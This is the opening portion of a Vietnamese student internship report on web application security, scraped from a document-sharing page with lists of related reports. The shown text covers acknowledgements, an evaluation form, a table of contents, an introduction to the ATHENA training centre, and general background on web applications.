Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚBáo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚCon Ranh
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongVu Trung Kien
 
Bài 1: GIỚI THIỆU VỀ BẢO MẬT - Giáo trình FPT
Bài 1: GIỚI THIỆU VỀ BẢO MẬT - Giáo trình FPTBài 1: GIỚI THIỆU VỀ BẢO MẬT - Giáo trình FPT
Bài 1: GIỚI THIỆU VỀ BẢO MẬT - Giáo trình FPTMasterCode.vn
 
BẢO MẬT VÀ AN TOÀN THÔNG TIN TRONG THƯƠNG MẠI ĐIỆN TỬ
BẢO MẬT VÀ AN TOÀN THÔNG TIN TRONG THƯƠNG MẠI ĐIỆN TỬBẢO MẬT VÀ AN TOÀN THÔNG TIN TRONG THƯƠNG MẠI ĐIỆN TỬ
BẢO MẬT VÀ AN TOÀN THÔNG TIN TRONG THƯƠNG MẠI ĐIỆN TỬSmie Vit
 
Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kìDaewoo Han
 
Báo cáo thực tập cuối kỳ - đàm văn sáng
Báo cáo thực tập cuối kỳ -  đàm văn sángBáo cáo thực tập cuối kỳ -  đàm văn sáng
Báo cáo thực tập cuối kỳ - đàm văn sángĐàm Văn Sáng
 
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang KhoaBao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang KhoaÂu Dương Bình
 
Báo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpBáo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpMinh Dương
 
File inclusion attack(nop thay)
File inclusion attack(nop thay)File inclusion attack(nop thay)
File inclusion attack(nop thay)phanleson
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNgoc Dao
 
Sql injection with sqlmap
Sql injection with sqlmapSql injection with sqlmap
Sql injection with sqlmapHerman Duarte
 
Mẫu báo cáo thực tập tốt nghiệp
Mẫu báo cáo thực tập tốt nghiệpMẫu báo cáo thực tập tốt nghiệp
Mẫu báo cáo thực tập tốt nghiệpĐình Linh
 
Bai giang bài 13: Bảo mật thông tin
Bai giang bài 13: Bảo mật thông tinBai giang bài 13: Bảo mật thông tin
Bai giang bài 13: Bảo mật thông tinthaohien1376
 
An Toàn và bảo mật HTTT-Cơ bản về mã hoá (cryptography)
An Toàn và bảo mật HTTT-Cơ bản về mã hoá (cryptography)An Toàn và bảo mật HTTT-Cơ bản về mã hoá (cryptography)
An Toàn và bảo mật HTTT-Cơ bản về mã hoá (cryptography)dlmonline24h
 
Security standard-present-th06-2013-shorter
Security standard-present-th06-2013-shorterSecurity standard-present-th06-2013-shorter
Security standard-present-th06-2013-shorternghia le trung
 

Viewers also liked (20)

tìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậttìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mật
 
Luan van
Luan vanLuan van
Luan van
 
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚBáo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chong
 
Bài 1: GIỚI THIỆU VỀ BẢO MẬT - Giáo trình FPT
Bài 1: GIỚI THIỆU VỀ BẢO MẬT - Giáo trình FPTBài 1: GIỚI THIỆU VỀ BẢO MẬT - Giáo trình FPT
Bài 1: GIỚI THIỆU VỀ BẢO MẬT - Giáo trình FPT
 
BẢO MẬT VÀ AN TOÀN THÔNG TIN TRONG THƯƠNG MẠI ĐIỆN TỬ
BẢO MẬT VÀ AN TOÀN THÔNG TIN TRONG THƯƠNG MẠI ĐIỆN TỬBẢO MẬT VÀ AN TOÀN THÔNG TIN TRONG THƯƠNG MẠI ĐIỆN TỬ
BẢO MẬT VÀ AN TOÀN THÔNG TIN TRONG THƯƠNG MẠI ĐIỆN TỬ
 
Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kì
 
Báo cáo thực tập cuối kỳ - đàm văn sáng
Báo cáo thực tập cuối kỳ -  đàm văn sángBáo cáo thực tập cuối kỳ -  đàm văn sáng
Báo cáo thực tập cuối kỳ - đàm văn sáng
 
SQLmap
SQLmapSQLmap
SQLmap
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang KhoaBao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
 
Hệ mật mã Elgamal
Hệ mật mã ElgamalHệ mật mã Elgamal
Hệ mật mã Elgamal
 
Báo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpBáo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệp
 
File inclusion attack(nop thay)
File inclusion attack(nop thay)File inclusion attack(nop thay)
File inclusion attack(nop thay)
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần application
 
Sql injection with sqlmap
Sql injection with sqlmapSql injection with sqlmap
Sql injection with sqlmap
 
Mẫu báo cáo thực tập tốt nghiệp
Mẫu báo cáo thực tập tốt nghiệpMẫu báo cáo thực tập tốt nghiệp
Mẫu báo cáo thực tập tốt nghiệp
 
Bai giang bài 13: Bảo mật thông tin
Bai giang bài 13: Bảo mật thông tinBai giang bài 13: Bảo mật thông tin
Bai giang bài 13: Bảo mật thông tin
 
An Toàn và bảo mật HTTT-Cơ bản về mã hoá (cryptography)
An Toàn và bảo mật HTTT-Cơ bản về mã hoá (cryptography)An Toàn và bảo mật HTTT-Cơ bản về mã hoá (cryptography)
An Toàn và bảo mật HTTT-Cơ bản về mã hoá (cryptography)
 
Security standard-present-th06-2013-shorter
Security standard-present-th06-2013-shorterSecurity standard-present-th06-2013-shorter
Security standard-present-th06-2013-shorter
 

Similar to Báo cáo thực tập

Báo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hackingBáo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hackingAnhh Hữu
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athenaLe Chuong
 
Cơ sở hạ tầng mã hóa khóa công khai PKI trong bài toán quản lý sinh viên.pdf
Cơ sở hạ tầng mã hóa khóa công khai PKI trong bài toán quản lý sinh viên.pdfCơ sở hạ tầng mã hóa khóa công khai PKI trong bài toán quản lý sinh viên.pdf
Cơ sở hạ tầng mã hóa khóa công khai PKI trong bài toán quản lý sinh viên.pdfMan_Ebook
 
Bao cao ck update final
Bao cao ck update finalBao cao ck update final
Bao cao ck update finalDuy Nguyen
 
BaoCaoThucTapTN
BaoCaoThucTapTNBaoCaoThucTapTN
BaoCaoThucTapTNtrong1763
 
Luận văn: Nghiên cứu xây dựng quy trình quản lý đầu tư ứng dụng công nghệ thô...
Luận văn: Nghiên cứu xây dựng quy trình quản lý đầu tư ứng dụng công nghệ thô...Luận văn: Nghiên cứu xây dựng quy trình quản lý đầu tư ứng dụng công nghệ thô...
Luận văn: Nghiên cứu xây dựng quy trình quản lý đầu tư ứng dụng công nghệ thô...Dịch vụ viết thuê Khóa Luận - ZALO 0932091562
 
Bao cao thuc tap athena
Bao cao thuc tap athenaBao cao thuc tap athena
Bao cao thuc tap athenaPac CE
 
Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào tạo và t...
Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào tạo và t...Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào tạo và t...
Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào tạo và t...Nhận Viết Đề Tài Trọn Gói ZALO 0932091562
 
Đề tài: Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào ...
Đề tài: Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào ...Đề tài: Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào ...
Đề tài: Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào ...Viết thuê trọn gói ZALO 0934573149
 
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng JoomlaBáo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng JoomlaNguyễn Tân
 
Bao cao cuoi ky - ATHENA
Bao cao cuoi ky - ATHENABao cao cuoi ky - ATHENA
Bao cao cuoi ky - ATHENAThongErik
 

Similar to Báo cáo thực tập (20)

Báo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hackingBáo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hacking
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athena
 
bao_cao_athena_cuoi_ki_thuc_tap
bao_cao_athena_cuoi_ki_thuc_tapbao_cao_athena_cuoi_ki_thuc_tap
bao_cao_athena_cuoi_ki_thuc_tap
 
Cơ sở hạ tầng mã hóa khóa công khai PKI trong bài toán quản lý sinh viên.pdf
Cơ sở hạ tầng mã hóa khóa công khai PKI trong bài toán quản lý sinh viên.pdfCơ sở hạ tầng mã hóa khóa công khai PKI trong bài toán quản lý sinh viên.pdf
Cơ sở hạ tầng mã hóa khóa công khai PKI trong bài toán quản lý sinh viên.pdf
 
Đề tài: Chương trình trợ giúp đăng ký và quản lý tour du lịch, HOT
Đề tài: Chương trình trợ giúp đăng ký và quản lý tour du lịch, HOTĐề tài: Chương trình trợ giúp đăng ký và quản lý tour du lịch, HOT
Đề tài: Chương trình trợ giúp đăng ký và quản lý tour du lịch, HOT
 
Bao cao ck update final
Bao cao ck update finalBao cao ck update final
Bao cao ck update final
 
Báo cáo
Báo cáoBáo cáo
Báo cáo
 
Đề tài: Xây dựng ứng dụng hỗ trợ giao tiếp hội nghị, HAY, 9đ
Đề tài: Xây dựng ứng dụng hỗ trợ giao tiếp hội nghị, HAY, 9đĐề tài: Xây dựng ứng dụng hỗ trợ giao tiếp hội nghị, HAY, 9đ
Đề tài: Xây dựng ứng dụng hỗ trợ giao tiếp hội nghị, HAY, 9đ
 
Đề tài: Xây dựng ứng dụng hỗ trợ giao tiếp trực tuyến hội nghị
Đề tài: Xây dựng ứng dụng hỗ trợ giao tiếp trực tuyến hội nghịĐề tài: Xây dựng ứng dụng hỗ trợ giao tiếp trực tuyến hội nghị
Đề tài: Xây dựng ứng dụng hỗ trợ giao tiếp trực tuyến hội nghị
 
BaoCaoTTTN
BaoCaoTTTNBaoCaoTTTN
BaoCaoTTTN
 
BaoCaoThucTapTN
BaoCaoThucTapTNBaoCaoThucTapTN
BaoCaoThucTapTN
 
luan van thac si tim hieu he thong phat hien canh bao nguy co tan cong mang
luan van thac si tim hieu he thong phat hien canh bao nguy co tan cong mangluan van thac si tim hieu he thong phat hien canh bao nguy co tan cong mang
luan van thac si tim hieu he thong phat hien canh bao nguy co tan cong mang
 
Luận văn: Nghiên cứu xây dựng quy trình quản lý đầu tư ứng dụng công nghệ thô...
Luận văn: Nghiên cứu xây dựng quy trình quản lý đầu tư ứng dụng công nghệ thô...Luận văn: Nghiên cứu xây dựng quy trình quản lý đầu tư ứng dụng công nghệ thô...
Luận văn: Nghiên cứu xây dựng quy trình quản lý đầu tư ứng dụng công nghệ thô...
 
Bao cao thuc tap athena
Bao cao thuc tap athenaBao cao thuc tap athena
Bao cao thuc tap athena
 
Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào tạo và t...
Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào tạo và t...Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào tạo và t...
Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào tạo và t...
 
Đề tài: Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào ...
Đề tài: Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào ...Đề tài: Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào ...
Đề tài: Nghiên cứu và triển khai hệ thống Private Cloud cho các ứng dụng đào ...
 
Báo cáo athena
Báo cáo  athenaBáo cáo  athena
Báo cáo athena
 
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng JoomlaBáo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
Báo cáo thực tập athena Nghiên cứu và xây dựng web tin tức bằng Joomla
 
luan van thac si tim hieu phan mem mo oscommerce
luan van thac si tim hieu phan mem mo oscommerceluan van thac si tim hieu phan mem mo oscommerce
luan van thac si tim hieu phan mem mo oscommerce
 
Bao cao cuoi ky - ATHENA
Bao cao cuoi ky - ATHENABao cao cuoi ky - ATHENA
Bao cao cuoi ky - ATHENA
 

More from Luc Cao

Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Luc Cao
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Luc Cao
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Luc Cao
 
báo cáo thực tập Athena - tuần1
báo cáo thực tập Athena - tuần1báo cáo thực tập Athena - tuần1
báo cáo thực tập Athena - tuần1Luc Cao
 
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)Luc Cao
 
Trung tâm đào tạo
Trung tâm đào tạoTrung tâm đào tạo
Trung tâm đào tạoLuc Cao
 

More from Luc Cao (6)

Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
 
Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2Athena báo cáo thực tập tuần 2
Athena báo cáo thực tập tuần 2
 
báo cáo thực tập Athena - tuần1
báo cáo thực tập Athena - tuần1báo cáo thực tập Athena - tuần1
báo cáo thực tập Athena - tuần1
 
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
 
Trung tâm đào tạo
Trung tâm đào tạoTrung tâm đào tạo
Trung tâm đào tạo
 

Báo cáo thực tập

  • 1. LỜI CÁM ƠN Lời đầu tiên em xin gửi lời cảm ơn chân thành đến TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN NINH MẠNG QUỐC TẾ ATHENA đã cho phép và tạo điều kiện cho chúng em hoàn thành quá trình thực tập tại doanh nghiệp Đồng thời em xin gửi lời cám ơn sâu sắc đến thầy Võ Đỗ Thắng giám đốc Trung tâm cùng các anh chị trong Trung tâm đã tận tình hướng dẫn, hỗ trợ và chỉ bảo em trong suốt quá trình thực tập. Em đã học học được nhiều kiến thức và kinh nghiệm thực tiễn quý báu để làm nền tảng cho học tập, công việc và nghiên cứu của em sau này. Lời tiếp theo em xin cám ơn các thầy cô trong khoa Mạng máy tính & Truyền thông – Trường ĐH Công nghệ Thông tin đã cấp giấy giới thiệu và tạo điều kiện tốt cho sinh viên đến thực tập tại Trung tâm, em cũng xin gửi lời cám ơn đến các bạn bè, đồng nghiệp đã luôn đồng hành và hỗ trợ em trong suốt quá trình thực tập Tuy đã có gắng nỗ lực nhưng trong quá trình thực tập và viết báo cáo em không thể tránh khỏi sai sót, kính mong nhận được sự thông cảm và góp ý của Trung tâm cũng như các thầy cô trong khoa, em xin chân thành cám ơn. Sinh viên thực hiện Cao Văn Lực
  • 2. CỘNG HOÀ XÃ HỘI CHỦ NGHĨA VIỆT NAM Độc lập – Tự do – Hạnh phúc ------------------- PHIẾU NHẬN XÉT THỰC TẬP Họ và tên sinh viên: Cao Văn Lực Ngày sinh: 20/08/1992 Lớp: MMTT2010 Ngành: Truyền thông & An ninh thông tin Khóa: 2010 – 2015 Khoa: Mạng máy tính & Truyền thông Trường: ĐH Công nghệ Thông tin Thực tập tại: TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN NINH MẠNG QUỐC TẾ ATHENA Địa chỉ: 92, Nguyễn Đình Chiểu, Phường Đa Kao, Q.1, Tp Hồ Chí Minh Từ ngày: 04 / 03 / 2014 đến ngày…..…./………/ 2014 1. Về tinh thần, thái độ, ý thức tổ chức kỷ luật: ………………………………………………………………………………………… ……………………………………………………………………………………….... ……………………………………………………………………………………….... 2. Về những công việc được giao: ………………………………………………………………………………………… ………………………………………………………………………………………… ………………………………………………………………………………………… 3. Chất lượng chuyên môn ……………………………………………………………………………………….... ………………………………………………………………………………………… ………………………………………………………………………………………… 4. Kết quả đạt được: ………………………………………………………………………………………… ………………………………………………………………………………………… ………………………………………………………………………………………… Xác nhận của lãnh đạo Tp Hồ Chí Minh, ngày ...... tháng ...... năm 2014 Cơ quan thực tập Cán bộ hướng dẫn thực tập
  • 3. MỤC LỤC CHƯƠNG I – GIỚI THIỆU VỀ DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP 1. Giới thiệu về doanh nghiệp......................................................................................... 2. Công việc thực tập...................................................................................................... 2.1 Bộ phận thực tập và công việc thực tập............................................................... 2.2 Thời gian thực tập, cán bộ phụ trách.................................................................... CHƯƠNG II – NỘI DUNG THỰC TẬP.......................................................................... 1. Tình hình an ninh mạng hiện nay.............................................................................. 2. Khái niệm, cấu trúc và cách hoạt động của Web Application................................... 2.1 Khái niệm về Web Application........................................................................... 2.2 Cấu trúc và cách hoạt động của Web Application............................................... 3. Giới thiệu các Web Application được tạo bởi WORDPRESS, JOOMLA, vBulletin…………………………………………………………………………… 3.1 WordPress…………………………………………………………………….. 3.2 Joomla…………………………………………………………………………. 3.3 vBulletin………………………………………………………………………. 4. Công cụ và phương pháp phát hiện lỗ hổng bảo mật Web Application.................... 4.1 Phương pháp thủ công phát hiện lỗ hổng bảo mật Web Application.................. 4.2 Công cụ phát hiện lỗ hổng bảo mật Web Application......................................... 4.2.1 Paros Proxy................................................................................................ 4.2.2 Acunetix Web Vulnerability Scanner........................................................ 4.2.3 Maxisploit Scanner.................................................................................... 5. Một số lỗ hổng bảo mật Web Application................................................................. 5.1 Lỗi SQL Injection................................................................................................. 5.1.1 Khái niệm.................................................................................................... 5.1.2 Các dạng tấn công....................................................................................... 5.1.3 Cách thức và phương pháp tấn công........................................................... 5.1.4 Cách phòng chống và bảo mật.................................................................... 4.2 Lỗi Cross Site Scripting (XSS)............................................................................ 5.2.1 Khái niệm.................................................................................................... 5.2.2 Các dạng tấn công....................................................................................... 5.2.3 Cách thức và phương pháp tấn công........................................................... 5.2.4 Cách phòng chống và bảo mật.................................................................... 5.3 Lỗi Cross-site Request Forgery (CSRF)............................................................. 5.3.1 Khái niệm.................................................................................................... 5.3.2 Các dạng tấn công...................................................................................... 5.3.3 Cách thức và phương pháp tấn công.......................................................... 5.3.4 Cách phòng chống và bảo mật................................................................... 5.4 Một số lỗ hổng Web Application khác nổi bật hiện nay..................................... 5.4.1 Lỗi Heartbleed............................................................................................ 5.4.2 Khai thác qua Phishing............................................................................... 6. Một số Tool Khai thác lỗ hổng bảo mật Web Application........................................
  • 4. 6.1 Havij................................................................................................................... 6.1.1 Giới thiệu................................................................................................... 6.1.2 Đặc điểm.................................................................................................... 6.1.3 Cách hoạt động.......................................................................................... 6.2 Sqlmap............................................................................................................... 5.2.1 Giới thiệu.................................................................................................... 5.2.2 Đặc điểm.................................................................................................... 5.2.3 Cách hoạt động.......................................................................................... 7. Nguy hiểm và mối đe dọa từ các lỗ hổng bảo mật..................................................... 7.1 Từ lỗi SQL Injection.......................................................................................... 7.2 Từ lỗi Cross Site Scripting (XSS)...................................................................... 7.3 Từ lỗi Cross-site Request Forgery (CSRF).......................................................... CHƯƠNG III – KẾT QUẢ THỰC TẬP 1. Khảo sát danh sách một số Web Application có lỗi bảo mật..................................... 2. Khai thác và tấn công một số Web Application có lỗi bảo mật................................. 3. Đưa ra giải pháp khắc phục, phòng chống và bảo mật cụ thể.................................... CHƯƠNG IV – Ý KIẾN, ĐÓNG GÓP VÀ ĐỀ XUẤT 1. Đối với Sinh viên thực tập.......................................................................................... 2. Đối với Doanh nghiệp thực tập................................................................................... 3. Đối với Nhà trường..................................................................................................... CHƯƠNG V – TÀI LIỆU THAM KHẢO
  • 5. DANH SÁCH HÌNH VẼ Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Hình 3: Công nghệ Web 2.0 Hình 4: Một Web Application Hình 5: Thành phần của một Web Application Hình 6: Cách thức hoạt động của một Web Application Hình 7: Cách thức hoạt động của một Web Application Hình 8: Giao diện chương trình của Paros Proxy Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy Hình 10: Giao diện của Acunetix Web Vulnerability Scanner Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner Hình 12. Giao diện làm việc Maxisploit Scanner Hình 13. Kết quả Scan Website của Maxisploit Scanner Hình 14. Phương pháp luận của tấn công SQL Injection Hình 15. Các dạng tấn công SQL Injection Hình 16. Các cách phát hiện tấn công SQl Injection Hình 17. Cách phòng chồng tấn công SQL Injection Hình 18. Cách phòng chồng tấn công SQL Injection Hình 19. Quy trình tấn công XSS đơn giản Hình 20. Ví dụ tấn công XSS thông qua Email Hình 21. Ví dụ tấn công XSS bằng ăn cắp Cookies Hình 22 . Quy trình của tấn công XSS Hình 23. Quy trình tấn công CSRF Hình 24. Cách thức tấn công chung của tấn công CSRF Hình 25. Cách thức tấn công chung của tấn công CSRF Hình 26. Mô hình tấn công CSRF theo phương thức POST Hình 27. Giao diện làm việc của Havij Hình 28: Giao diện làm việc của Sqlmap Hình 29. Thống kê mối nguy hiểm từ tấn công SQL Injection theo EC – Council Hình 30. Các site bị lỗi SQL injection được quét bằng Maxisploit
  • 6. CHƯƠNG I – GIỚI THIỆU DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP 1. Giới thiệu về doanh nghiệp Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA được thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm huyết góp phần vào công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành kinh tế mũi nhọn, góp phần phát triển nước nhà Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA Lĩnh vực hoạt động chính: Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó, trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , Ngân hàng, Doanh nghiệp, các cơ quan Chính phủ, tổ chức Tài chính và nhiều học viên tốt nghiệp tại trung tâm đã là chuyên gia đảm nhận nhiều vị trí tại các cơ quan trên. Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình hợp tác và trao đổi công nghệ với nhiều đại học lớn như Đại học Bách Khoa Thành Phố Hồ CHính Minh, Đại học An Ninh Nhân Dân, Học viện Công nghệ Bưu chính Viễn thông, Hiệp hội an toàn thông tin (VNISA), ĐH Công nghệ Thông tin, Hội Tin học Tp Hồ Chí Minh (HCA),..v..v… Đội ngũ giảng viên, nhân viên: Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường đại học hàng đầu trong nước .... Tất cả giảng viên ATHENA đều phải có các chứng chỉ quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư phạm Quốc tế (Microsoft Certified Trainer).Đây là các chứng chỉ chuyên môn bắt buộc để đủ điều kiện tham gia giảng dạy tại trung tâm ATHENA. Bên cạnh đó,Các giảng viên ATHENA thường đi tu nghiệp và cập nhật kiến thức công nghệ mới từ các nước tiên tiến như Mỹ , Pháp, Hà Lan, Singapore,... và truyền đạt các công nghệ mới này trong các chương trình đào tạo tại trung tâm ATHENA Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
  • 7. 2. Công việc thực tập 2.1 Bộ phận thực tập và công việc thực tập - Bộ phận thực tập: Nghiên cứu tại bộ phận Công nghệ thông tin của Trung tâm - Công việc thực tập: Áp dụng các kiến thức đã học ở trường và tài liệu bên ngoài để tìm hiểu về các lỗ hổng bảo mật Web Application, công cụ tấn công, cách thức tấn công và bảo mật Web Application, cụ thể tìm hiểu cách hoạt động của một Web Application, các công cụ và phương pháp phát hiện Web Application bị lỗi bảo mật, các lỗi bảo mật Web Application thường gặp hiện nay, cách thức hoạt động hay tấn công của lỗi bảo mật đó, từ ấy áp dụng vào một số Web Application hiện tại khảo sát được và đưa ra giải pháp phòng chống. 2.2 Thời gian thực tập và cán bộ hướng dẫn - Thời gian thực tập: từ 04/03/2014 đến /05/2014 - Cán bộ phụ trách: Anh Trần Lâm Mẫn – nhân viên giảng dạy Trung tâm đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA, Thầy Võ Đỗ Thắng – Giám đốc Trung tâm đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
  • 8. CHƯƠNG II – NỘI DUNG THỰC TẬP 1. Tình hình an ninh mạng hiện nay Chỉ tính từ đầu năm 2012 đến tháng 3/2013, trung bình mỗi ngày có tới 6 website tại Việt Nam bị tấn công, tương ứng với hơn 2.000 website bị tấn công mỗi năm. Trên 70% các trang web có lỗ hổng có thể dẫn đến các hành vi trộm cắp dữ liệu và phá hoại của các công ty, tổ chức, cá nhân như: Thông tin thẻ tín dụng hay danh sách khách hàng, đánh cắp bí mật thương mại, lừa đảo, phát tán, thay đổi nội dung, chiếm quyền điều khiển, phá hoại hoạt động,…v..v Khả năng có thể truy cập 24/7 từ bất cứ nơi nào trên thế giới hay các ứng dụng web không an toàn thường cung cấp truy cập dễ dàng đến cơ sở dữ liệu là một sơ hở lớn cho phép tin tặc có thể thực hiện các hoạt động bất hợp pháp bằng cách sử dụng các trang web đã tấn công. Hầu hết nguyên nhân của các vụ tấn công này là do website tồn tại nhiều lỗ hổng bảo mật. Một điều đáng lo ngại nữa là đối với các cá nhân, tổ chức và doanh nghiệp, CNTT nói chung và các ứng dụng web nói riêng đang trở thành một trong các nhân tố, công cụ đắc lực hỗ trợ tăng hiệu suất làm việc và lợi nhuận, hiểu quả kinh tế cao cho họ, nhưng sự quan tâm, và chi phí bỏ ra cho lĩnh vực bảo trì, bảo mật lại không đáng kể. Đồng thời các mói nguy hiểm đe dọa ngày càng mới và phát triển phức tạp hơn, khả năng tấn công và khai thác của các kẻ xấu đã tăng lên rõ rệt, các mã độc, phần mềm độc hại, virut trở nên khó phát hiện và tiêu diệt hơn. Vì vậy vấn đề an ninh mạng nói chung và bảo mật Web Application nói riêng đang là một vấn đề quan trọng và cấp bách cần phải được nghiên cứu, tìm hiểu và đưa ra các giải pháp và kỹ thuật mới để phòng tránh, đồng thời cá nhân, tổ chức và doanh nghiệp cũng cần dành nhiều thời gian, kinh phí, nhân lực kỹ thuật để đảm bảo cho hệ thống mạng cũng như Web Application của mình hoạt động tốt, có khả năng chống chọi và ngăn chặn trước các mối nguy hiểm và các cuộc tấn công. 2. Khái niệm, cấu trúc và cách hoạt động của Web Application 2.1 Khái niệm về Web Application Web Application hay còn gọi là ứng dụng web là một chương trình hay phần mềm ứng dụng chạy trên nền tảng web, web application thường được cài trên máy chủ của một Web Server nào đó trên mạng internet, người dùng truy cập internet và sử dụng ứng dụng này thông qua một trình duyệt web. Web Application trở nên phổ biến cùng với sự phát triển của các trình duyệt web, khả năng cập nhật và duy trì hoạt động của ứng dụng web rất dễ dàng mà không cần phải cài đặt hay phân phối. Những ứng dụng web thường có giao diện, đẹp, phong phú, giúp người dùng dễ dàng tương tác và sử dụng Một số ứng dụng web phổ biến hiện nay 